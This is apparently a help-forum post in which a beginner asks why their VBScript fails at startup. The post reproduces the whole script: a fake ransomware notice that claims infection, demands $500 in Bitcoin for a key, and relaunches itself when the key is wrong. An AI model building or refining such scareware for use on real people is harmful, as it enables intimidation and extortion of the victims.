How can I have my VBScript to run at startup?

D

derpression

I created a VBScript that appears as a fake virus, and I would like to run it at startup. I've put the script into the startup folder.


When I boot up, the script shows. After pressing 'OK' to the message boxes I've created, it gives me an error.

95186992-221f-4878-bc33-d978f967b094?upload=true.png

It displays the following information.


Script: C:\Users\derpression\Desktop\Virus.vbs

Line: 5

Char: 1

Error: The system cannot find the file specified.

Code: 80070002

Source: (null)


Here is the script.

0b717d0c-616a-45c8-a4d8-3f3794834858?upload=true.png

Here is the script you can copy.

msgbox("You've been infected! To disable your virus, please send $500 worth of Bitcoin to BLOCKED to receive your access key. Click 'OK' to continue.")
pass=inputbox("Please enter your 10-digit key to disable the virus. Send $500 worth of Bitcoin to BLOCKED, then send an email to BLOCKED with your email and proof. Your key will get sent to you.")


if pass="0x9dk2sm87" then msgbox("Correct key! Virus has been disabled. Let BLOCKED know to delete the virus.") else Set Shell=CreateObject("wscript.shell")

Shell.Run("Virus.vbs")



Let me know if I probably did something wrong in the script. I'm new to this VBScript thing, so I don't know what to do.


I've done multiple methods but they never worked.


Running VBScript at Startup: How to Enable Programs and Custom Scripts to Run at Boot

Disabling All Third-Party Apps: windows script host error message on startup (link was too long)


I also visited some old forum posts. Unfortunately, they didn't work as well. I doubted they even worked, they were from 2006 or 2013!


I'm using a virtual machine running Windows 7 currently to run the script, later testing it on a Windows 10 device. I don't know if it is because of the version of Windows I'm using. Let me know and I'll try to run it on a Windows 10 VM.

Continue reading...
 

Similar threads

Back
Top Bottom